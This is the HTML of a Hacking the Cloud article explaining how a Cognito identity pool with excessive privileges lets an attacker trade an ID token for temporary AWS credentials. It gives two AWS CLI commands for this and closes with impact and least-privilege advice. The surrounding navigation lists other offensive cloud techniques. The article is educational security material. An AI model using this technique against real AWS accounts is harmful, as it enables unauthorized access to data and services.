id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#how-it-works class=md-nav__link> <span class=md-ellipsis> How it works </span> </a> <nav class=md-nav aria-label="How it works"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#identity-retrieval class=md-nav__link> <span class=md-ellipsis> Identity Retrieval: </span> </a> </li> <li class=md-nav__item> <a href=#excessive-privileges-exploitation class=md-nav__link> <span class=md-ellipsis> Excessive Privileges Exploitation: </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#exploitation class=md-nav__link> <span class=md-ellipsis> Exploitation </span> </a> </li> <li class=md-nav__item> <a href=#impact class=md-nav__link> <span class=md-ellipsis> Impact </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#how-it-works class=md-nav__link> <span class=md-ellipsis> How it works </span> </a> <nav class=md-nav aria-label="How it works"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#identity-retrieval class=md-nav__link> <span class=md-ellipsis> Identity Retrieval: </span> </a> </li> <li class=md-nav__item> <a href=#excessive-privileges-exploitation class=md-nav__link> <span class=md-ellipsis> Excessive Privileges Exploitation: </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#exploitation class=md-nav__link> <span class=md-ellipsis> Exploitation </span> </a> </li> <li class=md-nav__item> <a href=#impact class=md-nav__link> <span class=md-ellipsis> Impact </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Wes Ladd</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/cognito_identity_pool_excessive_privileges.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=overpermissioned-aws-cognito-identity-pools>Overpermissioned AWS Cognito Identity Pools<a class=headerlink href=#overpermissioned-aws-cognito-identity-pools title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <ul> <li><a href=https://trustoncloud.com/exploit-two-of-the-most-common-vulnerabilities-in-amazon-cognito-with-cloudgoat/ >Exploit two of the most common vulnerabilities in Amazon Cognito with CloudGoat</a> by Usama Rasheed</li> <li><a href=https://www.secforce.com/blog/aws-cognito-pitfalls-default-settings-attackers-love-and-you-should-know-about/ >AWS Cognito pitfalls: Default settings attackers love (and you should know about)</a> by Lorenzo Vogelsang</li> </ul> </li> </ul> </div> <p>A significant security flaw in applications using AWS Cognito for identity management can occur when identity pools are given excessive privileges. Excessive privileges in an Identity Pool mean that the identities (users) associated with that pool can perform actions beyond what is necessary for their role in the application.</p> <p>If an attacker successfully authenticates with the AWS Cognito service (such as through the <a href=../cognito_user_self_signup/ >unintended self-signup</a>, and the corresponding identity pool has excessive privileges, the attacker can potentially perform actions that should be restricted. This might include accessing sensitive data, manipulating services, and, in some cases, privilege escalation.</p> <p>Sometimes, even unauthenticated (or anonymous users) can perform actions that should be restricted. This is because AWS Cognito allows unauthenticated users to be associated with an identity pool. If the identity pool has excessive privileges, unauthenticated users can perform actions that should be restricted.</p> <h2 id=how-it-works>How it works<a class=headerlink href=#how-it-works title="Permanent link">&para;</a></h2> <p>The process usually involves two key steps:</p> <h3 id=identity-retrieval>Identity Retrieval:<a class=headerlink href=#identity-retrieval title="Permanent link">&para;</a></h3> <p>This starts with an attacker successfully signing up or logging in to a vulnerable Cognito user pool. As we discussed in our previous post, this might be due to misconfigured access controls allowing unintended self-signup, or through credential stuffing, password spraying or other attack vectors against user accounts.</p> <p>When an attacker successfully authenticates, they get a set of identity tokens. The ID token, in particular, is a JWT (JSON Web Token) that contains claims about the identity of the authenticated user. </p> <h3 id=excessive-privileges-exploitation>Excessive Privileges Exploitation:<a class=headerlink href=#excessive-privileges-exploitation title="Permanent link">&para;</a></h3> <p>The next step involves the attacker using this ID token to get temporary AWS credentials from an associated Cognito Identity Pool. The Identity Pool maps identities to IAM roles and provides them with temporary AWS credentials to access AWS services.</p> <p>However, if the IAM roles associated with the Identity Pool have excessive permissions, the temporary AWS credentials that the attacker receives will allow them to perform actions that they should not be allowed to. Depending on the assigned permissions, an attacker could potentially read sensitive data from an S3 bucket, manipulate a DynamoDB table, invoke Lambda functions, or even perform privilege escalation to gain administrative rights.</p> <h2 id=exploitation>Exploitation<a class=headerlink href=#exploitation title="Permanent link">&para;</a></h2> <p>The following commands can be used to get the AWS credentials, assuming you have the ID token for a valid user:</p> <p><div class=highlight><pre><span></span><code>aws<span class=w> </span>cognito-identity<span class=w> </span>get-id<span class=w> </span>--identity-pool-id<span class=w> </span><span class=o>{</span>identity_pool_id<span class=o>}</span><span class=w> </span>--account-id<span class=w> </span><span class=o>{</span>account_id<span class=o>}</span><span class=w> </span>--logins<span class=w> </span><span class=o>{</span>login_provider<span class=o>}</span>:<span class=o>{</span>id_token<span class=o>}</span>
 </code></pre></div> and then: <div class=highlight><pre><span></span><code>aws<span class=w> </span>cognito-identity<span class=w> </span>get-credentials-for-identity<span class=w> </span>--identity-id<span class=w> </span><span class=o>{</span>identity_id<span class=o>}</span><span class=w> </span>--logins<span class=w> </span><span class=o>{</span>login_provider<span class=o>}</span>:<span class=o>{</span>id_token<span class=o>}</span>
 </code></pre></div></p> <h2 id=impact>Impact<a class=headerlink href=#impact title="Permanent link">&para;</a></h2> <p>The severity of this vulnerability depends on the permissions associated with the Identity Pool. In the worst case, an attacker could perform actions that are equivalent to a full AWS account takeover. This could lead to data leakage, unauthorized modification of data, and potential compliance violations.</p> <p>However, if Identity Pools are configured in accordance with the principle of least privilege, the impact of this vulnerability is significantly reduced. In this case, the attacker would only be able to perform actions that are allowed by the associated IAM roles. This might include accessing data that they should not be able to access, but it would not allow them to perform privilege escalation and actions that are not allowed directly by the IAM roles.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">January 6, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">June 20, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/righteousgambit class=md-author title=@righteousgambit> <img src="https://avatars.githubusercontent.com/u/35244835?v=4&size=72" alt=righteousgambit> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 